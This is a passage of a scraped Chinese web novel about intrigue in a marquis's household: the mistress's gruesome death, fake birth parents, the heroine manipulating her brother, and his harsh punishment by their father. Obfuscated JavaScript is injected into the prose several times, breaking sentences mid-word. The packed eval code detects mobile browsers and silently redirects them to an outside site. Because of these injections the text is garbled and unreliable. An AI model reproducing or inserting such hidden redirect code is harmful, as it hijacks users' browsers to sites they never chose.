不曾想,过了两个时辰,眼看都要到用午膳的时辰了,屋子里依旧静悄悄的,没有任何声音。 晏明远微微蹙眉,看向芰荷。 “你去瞧瞧,母亲怎的还不醒?” 芰荷应下。 不一会儿,晏明远就听到了卧房传来芰荷的尖叫声。 他手一松,书便落到了地上。 他顾不得捡起,快步赶了过去。 他一到,就瞧见芰荷瘫软在地,小脸煞白,哆嗦着指着床上。 晏明远的心猛地一沉,几步抢到床边。 只一眼,他浑身的血液都仿佛瞬间冻住了。 母亲静静地躺在床上,双眼紧闭,脸色是骇人的青灰。 暗黑粘稠的血迹正从她的双眼、双耳、鼻孔和嘴角缓缓流出,在她惨白如纸的脸上划出一道道长长的血痕。 “娘——!”晏明远踉跄着扑到床边,双腿发软,几乎要跪倒在地。 他想伸手去擦掉那些可怖的血痕,手指却抖得不成样子,悬在半空,迟迟不敢落下。 母亲**。 七窍流血而亡。 晏明远脑子嗡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“星儿,你怎么来了。”定远侯率先开口。 一旁的晏明远退后一步,躲到了定远侯身后。 **该怎么面对晏逐星。 第105章 你离她远些 晏逐星红着眼眶道:“父亲,我想见一见关家……” 她话还没说完,原本躲在定远侯身后的晏明远便跳了出来。 “母亲刚走,你就要找你的亲生父母吗?”他有些接受不了晏逐星这样冷血无情。 母亲当初拐带她确实有错,可如今她人已经**,晏逐星也在侯府享了十多年大小姐的福。 难道这一切还不能抵消吗。 晏逐星委屈地看向定远侯:“我只是担心他们会去告御状。到时候,恐怕会有损侯府的声誉。我想着,他们既是我的亲生父母,或许我说的话他们会听,所以想着去劝一劝他们。” 晏明远一张脸顿时变动一会儿红一会儿白。 原来竟是他误解了星儿。 他张了张嘴想道歉,但又说不出话来。 定远侯欣慰地看着她,温声道:“此事为父自会与他们商谈,保管不会让你为难。你就放心吧。” “是。”晏逐星点了点头。 “你回院子里歇着吧,莫要进来被吓到了。”定远侯下令让她离开。 晏逐星没有反对,乖乖地走了。 定远侯看着床上温如霜变得僵硬的尸身,立刻命人快马加鞭去青州报丧。 而后又命人去请了族中长老。 见晏明远还呆呆地站在原地,他几步跨到他面前,双手用力地按住了他的肩膀。 “明远,丧事自有为父坐镇主持,族中长老稍后便到,也会协理诸事。但你乃嫡长子,必须担起守灵、举哀、答谢吊客之责。莫要让悲痛击垮了你。” 晏明远惶惶然点头,如同提线木偶一般,定远侯让他做什么,他就去做什么。 很快,定远侯府上下便挂起了白幡。 李氏被放了出来,一见温如霜的遗体,登时晕厥过去。 她知道,夫人没了,她恐怕也活不久了。 芰荷红着眼眶将她唤醒,两人强忍悲痛,一同为温如霜整理遗容,换上寿衣。 府里的几位姨娘也被唤来。 唯有阮寄薇因身怀有孕,得了准许,留在自己院中。 晏逐星以思虑过度病倒了为由,也没有出现。 晏明远换好孝衣,在管家和小厮的陪同下出门报丧。 他整个人如同被抽走了魂,面色麻木,只是按照身旁人的提示,重复着下跪、叩首、报丧、起身、登车的流程。 不多时,定远侯夫人温如霜去世的消息便传遍了京城。 一时间,街头巷尾议论纷纷。 昨日才传出侯府大小姐晏逐星亲生父母寻上门的消息,今日主母温如霜便突然亡故。 变故接踵而至,总让人觉得背后有什么猫腻。 卫国公夫人窦淑容正刻薄地与妯娌裴府二夫人数落着晏逐星的身世。 “身上流的就是低贱商贾的血脉,在侯府的金玉堆里养十几年也是白费,麻雀就是麻雀,永远变不成凤凰。” 自打冰嬉宴上晏逐星被皇后叫走,让她当众难堪,窦淑容便许久未在宴会上露面了。 就怕被人提起那日的窘迫。 她恨毒了晏逐星。 又听闻腊八那日,晏逐星装模作样去城外施粥,她儿子竟巴巴跟了去,还因为晏逐星给了她派去的小厮两巴掌,而后又将人撵了回来。 如今一提到晏逐星,窦淑容就恨得牙痒痒。 裴二夫人不敢多说什么,毕竟她的女儿跟晏逐星似乎关系还不错。 如今晏逐星得了皇后的青眼,又被烈国公夫人认作了义女,她也不好多说人家坏话,因而只是尴尬地点了点头。 “定远侯真是瞎了眼,一个养女有什么好宠着的。还有温如霜也是个没用的东西,竟然让一个养女骑到头上来。”窦淑容又将怨气对准了定远侯夫妇。 裴二夫人搅着帕子,讪讪地笑,依旧没有吭声。 这时,下人匆忙跑进来禀报:“夫人,二夫人,定远侯夫人……殁了!” 窦淑容与裴二夫人听到这话,脸色同时变了。 她们方才还在数落定远侯府的不是,转眼主母温如霜就**,这也未免太过凑巧。 按礼数,定远侯夫人亡故,她们自该备礼前去吊唁。 但窦淑容连这面上的功夫都懒得做。 她嘴角撇了撇,声音里带着毫不掩饰的嫌恶:“年关就在眼前,正是喜庆的时候,谁耐烦去奔那晦气的丧?平白沾一身晦气,触了年节的霉头。不去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725130|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 下人退去后,她忍不住又和裴二夫人抱怨:“定远侯府今年都死几个人了。” “先是女儿没了清白探亲路上病逝了,后来又是儿子没了,现在连温如霜这个主母都**。” “我看啊,那个晏逐星就是灾星。迟早要把定远侯和他那长子给克死。” “咱们还是离定远侯府远些的好,省得沾染了晦气。” 裴二夫人原本没想到这些,但听大嫂这么一说,心里也打起了鼓。 是啊,定远侯府这些日子实在是太倒霉了。 接二连三没了好几条人命。 她回到自己院子后,将女儿裴芜找来。 “阿芜,你还是离定远侯府那位大小姐远些吧。”她将窦淑容的话告诉了女儿。 裴芜皱起了眉头,忍不住反驳道:“可我瞧着烈国公夫人和她关系也挺亲近的,他们不也没事么。” “烈国公夫妇都去过战场,自有煞气护体。与咱们不同。”裴二夫人强行辩解。 裴芜还是觉得那都是大伯母的偏见,噘着嘴道:“那远的不说,大表哥不也因为星儿查出了谢锦程的案子,得了皇上的褒奖。由此可见,也不是每个跟星儿沾上关系的人都没好下场呀。” 裴二夫人说不过女儿,轻轻拧了她一下。 “可别在你大伯母面前这么说,省得她迁怒你。” “我知道的。”裴芜乖巧点头。 她又不傻,大伯母最讨厌星儿了,她去她面前说这些话,她不想活啦。 京城里,与窦淑容存着同样心思的人不在少数。 众人都觉得定远侯府近来邪门晦气,因此温如霜的丧事,几乎无人愿意亲临吊唁。 至多只遣家中管事送去一份奠仪。 灵堂内外,一片冷清凄寂。 消息自然也传到了谢翊宁耳中。 昨日得知晏逐星亲生父母寻上门,他第一时间便遣停云前往通州查探。 通州距京城快马不过一个多时辰,是以温如霜死讯刚传开,昨日出发的停云便已返回京城复命。 “王爷,属下已查实。” 谢翊宁抬眸,眸色微沉:“那二人,当真是晏大小姐的亲生父母?” 第106章 杀了晏明远 “属下多方走访打听,确认了关家十一年前确实丢过一个女儿。” “定远侯夫人捡到大小姐的日子和时间都对上了。” “据说那个镯子和大小姐当时走失时戴手上的也一样。” 停云将打听来的消息一一汇报。 谢翊宁皱起了眉头。 这么多巧合,那就不是巧合了。 恐怕是有心之人在背后故意操纵这一切。 “盯着他们,继续查。”谢翊宁吩咐下去。 “是。”停云应了下来。 “惊鸿那边如何了?可有消息传回来?”谢翊宁又问。 停云摇了摇头:“您要的消息还在查探,估计年前是回不来了。” “我知道了,你退下吧。”谢翊宁微微颔首。 他将疆域舆图翻找出来,盯着上边几个国家的名字,陷入了思索。 大虞周边几个国家,琉光、西戎、北境、南穹,一直都对地大物博的大虞虎视眈眈。 其中北境全民皆兵,擅长骑射,是最难啃的硬骨头。 他们居住在草原上,夏日水草丰沛,他们就牧羊牧牛,但冬季严寒,他们粮食压根不够吃,因此便不停地骚扰大虞边境,抢夺粮食壮大自己的部落。 这是几十年来的老传统了。 然而一年后,他们将不再满足于这些小打小闹,会大规模进攻大虞。 上一世,北境的实力忽然比往常增强了许多,导致霍将军与他们对战时接连败退。原本只需要打几个月的仗,硬生生拖了两年。 他怀疑琉光和西戎或许在暗中支持了北境。 因而这一世,他确认自己重生后,就将自己的几个心腹派了出去。 停云留在身边,照夜去查南阳堤坝官员贪墨一案,惊鸿去了琉光,寒阙则去了西戎。 琉光多矿脉,不仅盛产各样的宝石,还拥有着能打造出坚韧锋利兵器的矿石。 惊鸿此去,便是要查明琉光与北境是否暗中勾结。 必要之时或可釜底抽薪,断了琉光与北境的合作。 而西戎位于黄沙大漠之中,盛产香料与美酒,是周边最富饶的国度。 他们酿出的酒,色泽如琥珀,开坛时香气能醉倒整屋的人,一口下去让人回味无穷。 因而坊间流传着一句话:一壶西戎酒,万两雪花银。 他们的一坛葡萄酒,在大虞能抵千金。 他们这般富有,自然引起过周遭的觊觎。 然而他们的王城坐落于沙漠之中,踪迹难寻。 西征过的那些铁骑,都迷失在了大漠之中,只留下了一堆枯骨。 因而,再也没人敢打他们的主意。 西戎人口虽少,但他们的王,野心却不小。 所以他们很可能会暗中与北境勾结,提供北境需要的金银,让他们去采买武器和粮食来对付大虞。 不得不防。 因而他便让寒阙扮做商人,去了西戎。 至于南穹,河网密布,丛林叠嶂,瘴疠横行,毒虫遍地,是周遭几个国家最神秘的地方。 他们其行事诡谲,据说擅长用蛊,与中原少有往来,深浅难测。 他不打算去试探他们,若是打草惊蛇,反倒不妙。 只盼半年后,解决了南阳水患与许州大旱,惊鸿和寒阙能给他带回惊喜。 * 温如霜死讯传遍了京城。 在客栈呆着的关家夫妇自然也听到了风声。 两人心里都有些惶惶不安。 他们那日不过做戏说要去状告温如霜,温如霜怎么就**? “夫君,你说,这事会不会查到我们头上?”杨氏慌张不已。 “说什么胡话,此事与我们何干。是她自己作孽多端。”关万海握紧了妻子的手。 语气一句比一句重,像是安慰妻子,也像安慰自己。 “咱们答应侯爷的事情办好了,他也该替咱们解决那桩麻烦了。” “对对对。”杨氏连连点头。 原本他们家生意做得好好的,谁曾想,被人做局阴了,送给通州知州夫人的布匹竟然生了虫子,让夫人身上起了红疹子。 知州夫人不依不饶,非要让他们赔个倾家荡产。 他们在通州的生意彻底黄了。 这可是他们赖以生存的生意,就这么没了,他们哪里甘心。 因而定远侯说让他们假冒晏逐星亲爹娘,就帮他们与知州大人和谈,他们便毫不犹豫地答应了下来。 “等明日吧,明日咱们去找侯爷。”关万海下定了决心。 还有几天就过年了,他们得早点把这事解决了,不然恐怕这个年也没法过了。 “好。”杨氏决定一切都听夫君的。 翌日,他们去找了定远侯。 定远侯懒得费心自己去处理这事,略一思忖,开口道:“你领着星儿回通州过年吧。你们多年未见,是该一家好好团聚了。” “届时我会让管家护送星儿过去,再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她不便此时登门拜访,免得冲撞了年节喜气,惹来口舌是非议论。 安排好一切事务后,她在大年二十九这日清晨,便准备离开京城去往通州。 出发前,晏明远拦住了她的马车。 第107章 她不是我娘 晏逐星盯着他,松了一口气。 她还真怕他不来找她呢。 “星儿。”晏明远的声音带着一丝沙哑。 他形销骨立,面色灰败,眉宇间刻着与年龄极不相称的疲惫与沧桑,乍一看去,竟像是凭空老了十多岁。 “什么事?”晏逐星内心毫无波动。 在她重生回来的那一刻,她和晏家所有人就恩断义绝了。 不管晏家人落得什么下场,有多可怜,她都不会同情他们。 同情他们,就是对不起过去受苦的自己。 “你就这么迫不及待地想要离开侯府吗?”晏明远对父亲的决定十分不解。 母亲尸骨尚未入土,棺椁犹在堂前,父亲竟就要让星儿去她的亲生父母家过年。 这无异于当众扇了母亲一记耳光,将她最后一点体面也碾得粉碎。 “我与大哥有事要说,你们先退下。”晏逐星扫了一眼身旁的管家和护卫。 他们当即听命退到了十步开外。 确认他们都听不到后,晏逐星冷笑了一声:“你觉得我留下来,温如霜会高兴吗?” “你竟然直呼母亲名讳?”晏明远不可置信地看着她。 他的声音因极度的震惊和愤怒而带了一丝颤抖。 在他心中,母亲纵有千般不是,也终究是他的亲生母亲。 “那是你娘,也是晏明修和晏明月的娘,但她从来都不是我娘。”晏逐星的语气十分冷漠。 “她**,我没有拍手称快你都该夸我一句善良。还想让我给她守孝,晏明远,你在做什么**梦。” 当初对晏明远不过是利用罢了,如今继续跟他演兄妹情深的戏码,她会恶心。 晏明远如遭雷击。 他像是第一次认清了眼前的少女。 她的眼神里都是冰冷的憎恶,没有半分委屈与留恋。 那个一直跟在他身后喊着“大哥”的小姑娘,或许早就不在了。 “你、你……”晏明远被气得脸上浮起了一丝红晕,他一时间竟不知道该怎么反驳。 “我什么我。我要是你,这个时候就该去定远侯身边好好尽孝。你真以为你这侯府世子之位高枕无忧吗。”晏逐星嗤笑一声,面露鄙夷。 “阮姨娘肚里怀的可是儿子。” “那又如何,不过是个庶子罢了。”晏明远下意识地反驳。 “记到嫡母名下不就是行了。”晏逐星挑眉看向他。 “我不同意!舅舅也不会同意!”晏明远急了。 “你们同不同意有什么用,谁说侯府夫人只能是温如霜呢。”晏逐星唇边露出一抹意味深长的笑。 她上前凑到晏明远身边,压低声音道:“你以为温如霜为什么这个时候**,自然是因为你的好父亲已经找好新的当家主母了呀。” 晏明远登时变了脸色,脱口而出:“你胡说。” “我有没有胡说,你很快就会知道了。”晏逐星淡定的样子让晏明远不自觉地相信了她的话。 但他还是嘴硬。 “你就不怕我把这事告诉父亲吗?” “你说呗。你有什么证据吗?”晏逐星无所谓地耸了耸肩。 “晏明修可是他亲自送去昭瑞亲王府的。如果不是他把人送过去,晏明修又怎会被谢锦程羞辱**?” 晏逐星光明正大地挑拨他们父子俩的关系。 “侯府已经和温家有了嫌隙,你若不懂事,他倒不如专心教养他的小儿子。反正他还不到四十,以后的日子还长着呢。” “你最好孝顺一点,否则,你这侯府世子之位,可就不保了。” 晏逐星说完这些扎心的话,不再看他一眼,径直转身上了马车,命车夫即刻离京。 晏明远像是被钉在了原地。 脸上的血色瞬间褪得干干净净,比灵堂里悬挂的白幡还要惨淡。 晏逐星每一句话,都狠狠扎进他毫无防备的心脏。 “你以为温如霜为什么这个时候**……” “你的好父亲已经找好新的当家主母了……” “晏明修可是他亲自送去昭瑞亲王府的……” “你这侯府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他要去找父亲,当面问个清楚。 在父亲心里,到底是阮寄薇肚子里那块未成形的肉重要,还是他这个嫡长子,名正言顺的世子更重要? 小厮见他眼神涣散,整个人透着一股恐惧的决绝,吓得大气都不敢出,更不敢高声喊人,只得小心翼翼地跟在他身侧。 主仆二人刚走到阮寄薇院落附近,还没靠近院门,就清晰听到了一个丫鬟发出的谄媚声: “哎哟,我的好姨娘,这天寒地冻的,您怎么大清早就在这院子里走来走去的呀?仔细冻着了!” 晏明远瞬间停住脚步,隐在院门前几株落尽枯叶的老树阴影里,直直地盯着正在散步的阮寄薇。 只见阮寄薇披着一件华贵的狐裘,一手搭在身边丫鬟的腕子上,另一只手则小心翼翼地抚着自己尚未隆起的小腹。 晏明远盯着那件狐裘,眼里几乎要喷出怒火。 那分明是母亲今年冬天请九章堂赶制的新衣。 后来她坠马车出了事,便不愿再穿华服,因而这些新衣裳送来时,还没穿过就全都塞到箱笼里。 可如今,父亲竟将衣裳给了这贱妾! “你懂什么?”阮寄薇的声音带着刻意显摆的得意。 “大夫可是千叮咛万嘱咐,要我多多走动,到时候才好把这宝贝疙瘩平平安安地生下来。” “这孩子呀,可是侯爷心尖尖上的肉,绝不能出半分岔子。侯爷亲口允诺我来,待他落地,便记在新主母名下,让他成为定远侯府名正言顺的嫡子。” “日后呀,这偌大的侯府,可都是我儿的囊中之物!” 她的声音清晰可闻地传到了晏明远耳朵里,如同一道惊雷在他的脑海里轰然炸开。 晏明远最后一丝侥幸被彻底粉碎。 原来晏逐星说的每一个字,都是真的。 父亲竟然真的要把他的一切,拱手送给一个卑贱妾室所出的庶子? 他脑中那根名为理智的弦,在这一刻彻底崩断。 他猛地从树影里冲出,直直扑向阮寄薇。 “贱妇,你**吧!” 他目眦欲裂,伸出手狠狠推向阮寄薇的小腹。 “少爷不可!” 小厮魂飞魄散的惊呼声炸响。 “姨娘!”其他丫鬟也跟着惊叫起来。 好在搀扶着阮寄薇的贴身丫鬟早有防备。 在晏明远冲过来的瞬间,她猛地将阮寄薇往自己怀里一拽,抱着她向侧旁扑倒,用自己的身体垫在下方,硬生生替阮寄薇承受了所有冲击。 阮寄薇蜷缩起身体,双手死死捂住肚子,将提前藏好的血袋捏爆,鲜红的液体缓缓从腿间流出。 她艰难又绝望地惨叫出声:“孩子……快救救我的孩子……” 院里其他的丫鬟慌乱地跑了过来,四处大叫。 “请大夫,快请大夫!” “姨娘你撑住啊!” 晏明远被他们的声音吵得回过神来。 他看着面无血色的阮寄薇,还有她裙摆底下微微渗出的血迹。 滔**火如同被一盆冰水兜头浇下,瞬间熄灭,只剩下刺骨的冰冷和一片空白的茫然。 他的脑海里只剩下一个念头: 完了,闯下大祸了。 他慌不择路地从阮寄薇的院子里跑走,一路上因为太过慌张,还摔了好几回。 他连滚带爬地回了自己的寝屋。 回到熟悉的环境,他才渐渐冷静下来。 有什么可怕的。 他可是侯府的嫡长子,横竖不过是推了一个姨娘,若是那个孽子没了最好,父亲只能有他一个儿子了。 到时候等舅舅入京,他要联合舅舅让父亲早日拟好请封世子的奏折。 难不成父亲还真的能为了一个姨娘对他发难? 想通了这一切,晏明远长长地舒了一口气。 还没等他喘完这口气,房门就被“砰”一声重重踹开。 定远侯脸色铁青地踹门而入,抬手就给了他一巴掌。 “逆子,你就这么容不得一个尚未出世的孩子?” “我尚在,你就敢下此毒手。他日我若老了病了,你是不是连亲爹也要除之而后快?!” 晏明远捂着脸,刚想辩解:“父亲,我……” “闭嘴。”定远侯根本不听,厉声朝外吼道:“来人!拖出去,请家法,三十藤条,给我狠狠地打!” 两个下人架起还在发懵的晏明远就往外拖。 晏明远听到“三十藤条”不可置信地看向了定远侯。 父亲不由分说打了他一耳光就算了,如今竟然还不给他半分体面,让他一个嫡长子在院中受家法? “父亲,你不能这么对我!”晏明远剧烈挣扎了起来,“过几日舅舅就要到了,母亲刚刚去世,你就这样对我,你不怕舅舅他们寒心吗?” 他这个时候提起温家人,无异于火上浇油。 定远侯更愤怒了。 “笑话!你是我晏鸿升的儿子。残害手足,家法伺候,天经地义。你舅舅来了,也得认这个理!” “你该庆幸大夫来得够快,保住了阮姨娘肚子里的孩子,不然现在就不是三十藤条这么简单了。” 说完不再留情,直接让下人开打。 院子里,沉重的藤条破空声和晏明远凄厉的惨叫立刻响了起来。 一下,又一下。 定远侯背对着门口,负手而立,听着晏明远凄惨的哀嚎,脸上只有冰冷的怒意,毫无动容。 三十下打完,哀嚎声变成了微弱的呻吟。 晏明远像条死狗一样趴在冰冷的石板上,后背衣衫被打得破破烂烂,印出了刺目的血痕。 看着他这副惨状,定远侯心头的怒火泄了大半。 到底是嫡亲的儿子。 方才他也是被阮寄薇那副惨白的样子惊着了。 毕竟他们正处如胶似漆之时,若阮寄薇真没了,他也舍不得。 更何况,侯府子嗣单薄,这孩子要是保不住,他膝下可就只剩晏明远一个了。 日后难免要受温家的胁迫,更是麻烦。 此刻看着血肉模糊的儿子,定远侯觉得自己先前似乎有些太过严苛了。 他叹了口气,弯下腰,伸手想去搀扶他:“明远啊,你莫怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15732366|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹……” 话音未落,晏明远猛地一挥手,狠狠甩开了他。 他挥手的动作有些大,手指不留神就刮过了定远侯的脸颊,脸上火辣辣的触感瞬间点燃了定远侯刚压下去的怒火。 “孽畜。”定远侯眼底那点残存的怜惜瞬间消失殆尽。 他猛地俯身,原本伸出去搀扶晏明远的手如今狠狠掐住了他的后脖颈,将他的脑袋死死按在冰冷的石板上。 “敢对亲爹动手,你可真是好得很。” “看来三十藤条是打轻了你,你还没吃够教训。” 晏明远察觉到他身上的杀意,此刻真的怕了。 他刚刚只是想发个脾气,让父亲走开。 没想到,竟然会打到父亲。 他艰难地开口求饶:“父亲,我知错了……” 但定远侯听到这话,只是冷笑一声:“如今你倒是知错了。晚了!” 他发泄似的狠狠将晏明远的脑袋往地上一撞,而后松手起身,环顾四周噤若寒蝉的下人。 “愣着干什么?!还不赶紧把这目无尊长、心肠歹毒的畜生给我拖到祠堂好好反省。没有我的吩咐,谁都不许去见他。” 下人们吓得一哆嗦,连忙上前,七手八脚地将几乎瘫软的晏明远从地上架起来。 晏明远被他们粗暴地拉扯,背后传来阵阵剧痛,脑袋上先前父亲狠狠撞的那一下,更是让他头晕目眩,眼前阵阵发黑,连呻吟的力气都没了。 他的心腹小厮扑通跪倒,连连磕头哭求:“侯爷开恩啊!大少爷昨日只用了早膳,在夫人灵前跪灵昏死过去,至今粒米未进。如今又挨了家法,再关进祠堂,少爷的身子真受不住,会没命的啊!” 定远侯脸色铁青,依旧没有改主意:“愣着干嘛,本侯的命令也不听了吗?赶紧把他关到祠堂去。” 半昏迷的晏明远听到这话,只觉得无比讽刺。 一个下人都比亲生父亲更在乎他的死活。 若是母亲在就好了,母亲定然不会让父亲这样对他。 晏明远想着,一行悔恨的泪从眼角滑落而下,而后彻底晕了过去。 下人们不敢再迟疑,拖着晏明远迅速去了祠堂,生怕慢一步就触怒了暴怒的侯爷。 看着晏明远被拖走的身影,定远侯眼神阴沉,站在原地片刻后,最终还是冷声吩咐:“去,叫大夫到祠堂给他治伤。” 下人领命,飞快退下。 * 通州,关家。 晏逐星已经在这个她名义上的“亲生父母”家歇下了。 送她抵达关家后,侯府管家就离开了。 关万海也跟着出门了,说是要送他一趟。 晏逐星总觉得定远侯不会白白让管家来这么一趟,于是让机灵的双鲤悄悄跟着他,看他去了哪里。 约莫过了半个时辰,双鲤气喘吁吁地跑了回来。 “林管家跟着关老爷去了知州府,还拿了东西,没多久两人出来后就分开了。看路径,林管家应该是回京了,关老爷现在也回来了。” 晏逐星亲自给她倒了一杯热茶,让她缓了缓。 听完她这番话,晏逐星心中那点模糊的猜测便倏然清晰起来。 第109章 不要太贪心 定远侯拿捏关家的筹码,无非就两点。 要么是关万海惹上了棘手的麻烦,非得仰仗侯府的权势才能摆平,不得不俯首听命。 要么便是关万海心比天高,妄想攀附侯府这棵大树,让生意更上一层楼,这才低声下气地求到了定远侯跟前。 说来说去,无外乎都是追名逐利。 这时,外边忽然传来了一个丫鬟的声音。 “四小姐,老太爷想见您。请您随奴婢来。” 晏逐星正想探探关家的情况,因而爽快地答应了下来。 她换了身素色的衣裳,就跟着丫鬟去见关老爷子。 来之前她就已经摸清了关家的底细。 三个女儿皆已出嫁,关老夫人三年前过世,如今这宅子里,只住了关老爷子、关万海夫妇,以及那位备受宠爱的幼子关曜。 不过片刻,便到了正厅。 空气里弥漫着劣质熏香的气味。 晏逐星不着痕迹地皱了皱眉,随后扫视了一眼屋内的环境。 屋内陈设十分简单,正中一张八仙桌,两侧是几张太师椅。 关老爷子坐在主位,关万海夫妇坐在他左侧下首,关曜则占据了右侧的位置。 他歪着头直勾勾地打量着晏逐星,像是在看什么从未见过的稀罕物。 而关老爷子则将她从头到脚扫视了一遍,那眼神不像在看失散多年的孙女,倒像是在审视一个物件。 关曜抢先开口:“你就是我四姐?你怎么和大姐二姐三姐他们长得都不像?” 关万海夫妇对视一眼,额头上瞬间冒出了冷汗。 糟了,事关重大,他们并未将真相告知家中其他人。 日后不会出什么岔子吧。 晏逐星勾唇,笑意不达眼底:“哦?哪里不像?” 不等关曜开口,关万海便抢先回答:“你别听这混小子胡说,你只是和霞儿他们不像,但你和你祖母简直就是一个模子里刻出来的。你就是咱们关家的孩子。” 而后他推了杨氏一把,杨氏当即会意,上前找借口牵着关曜离开。 “走,娘给你烤年糕吃,待会再给你四姐也送一份。” 不等关曜再出声,便捂了他的嘴,半拖半抱地将他带离了正厅。 屋内顿时只剩下了关老爷子、还有关万海和晏逐星。 关老爷子终于开口了。 “你就是星儿?” 晏逐星随意行了一礼:“定远侯府晏逐星见过老爷子。” 听到这话,关老爷子眼眸骤然一沉。 这丫头自报侯府门庭,又不称呼他为祖父,分明是看不起他们商贾之家。 他今日非得教训这个不知天高地厚的小丫头不可。 被侯府认作嫡女又如何,她骨子里流着的还不是他们关家血脉,既然是关家的孩子,自然就得听他关山的。 他冷冷地盯着晏逐星:“你能回来认祖归宗,是侯爷心善。这些年你在侯府锦衣玉食。这份恩情,你万不能忘。” 晏逐星没吭声,想听听他还能说出多少她不爱听的话。 关老爷子见她不回答,继续训诫:“女子之道,首重德容言功。如今你既在侯府,更需谨言慎行,恪守本分。” “侯府门楣高贵,规矩森严,不比寻常小户。一举一动,皆要合乎妇道,贞静娴淑为上。万不可因自己的一点小性子,丢了侯府的颜面,更损了我关家的名声!你可明白?” 晏逐星挑眉看向关老爷子。 没想到,关老爷子一把年纪了,没当过官,但“官威”还挺重。 一旁的关万海看出了父亲有意敲打刚来的晏逐星,心下暗暗着急,赶忙起身打圆场:“父亲,星儿最懂事最孝顺了,侯爷也很疼爱她。您少说两句,省得孩子以为您不欢迎她回家……” 话未说完,便被关老爷子一记凌厉的眼刀横了过去,生生噎住。 关老爷子心下冷哼:刚认回来就不服管教,若再纵着,这丫头怕不是要蹬鼻子上脸,骑到他这个祖父头上作威作福了。 见晏逐星依旧没说话,关老爷子清了清嗓子,继续道: “你要时刻记着,你能有今日,根子还在关家。而你的弟弟关曜……” 说到孙儿,他的语气带上了一丝不易察觉的偏宠。 “你弟弟是我关家未来的顶梁柱,是光耀门楣的希望。你既在侯府,得了好处,就该多为他筹谋打算。要懂得在侯爷面前为你弟弟多美言美言,替他铺路。这才是你做姐姐的本分。” “扶持你弟弟,便是扶持整个关家,也是报答侯府恩情、尽孝道的最好法子。你可记住了?” 晏逐星被他厚颜无耻的做派给气笑了。 她回来的第一天,竟然就妄想打压她,让她用侯府的人脉银钱扶持关曜。 关老爷子莫不是得了失心疯? “我有今日,根子在关家?”她一字一顿地反问。 “若非你娘生下你,若非你爹带你去青州,你又怎会被定远侯府收养。”关老爷子振振有词。 “你如今得了荣华富贵,难不成就要将血脉近亲都抛弃?” “若我没被收养,死在了外头,你们可会给我偿命?”晏逐星再一次反问。 关老爷子脸色顿时被气得煞白。 马上过年了,说什么偿命不偿命的,这是在诅咒他? 还没等他训斥晏逐星忤逆长辈,就看到晏逐星把目光转向了一旁的关万海。 “关老板,做人不要太贪心了。我当真是你的亲女儿么?” 一句话,让关万海背后的汗**都立起来了。 看着她清冷冷的眸子,他感觉自己隐藏的那些亏心事无处遁形。 难不成她都知道了? “星儿你说什么傻话呢,你当然是我的亲女儿啦。在侯爷面前,咱们不是滴血认亲成功了么。”关万海顶着压力继续撒谎。 晏逐星抬手鼓掌,笑了起来:“骗骗外人得了,关老板可别把自己也骗了。” 关老爷子听着他们俩的对话,有些云里雾里。 正欲呵斥,就听到晏逐星再一次开口。 “第一、我没打算‘认祖归宗’。” “第二、我这一次来只想开开心心,安安稳稳地过年。说不定呆上个三五日,侯府就会派人接我回去了。” “第三、这段时间里,若是有人惹得我不高兴,这个年,大家就都别想好过了。” 晏逐星决定先礼后兵。 若关万海不懂事,那她不介意给他演示一遍什么叫鸡飞蛋打,家门不幸。 关万海脸色瞬间变得煞白。 他确定了,他和杨氏非她生身父母一事,她一清二楚。 “逆女,你怎么和你父亲说话的?”关老爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739243|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 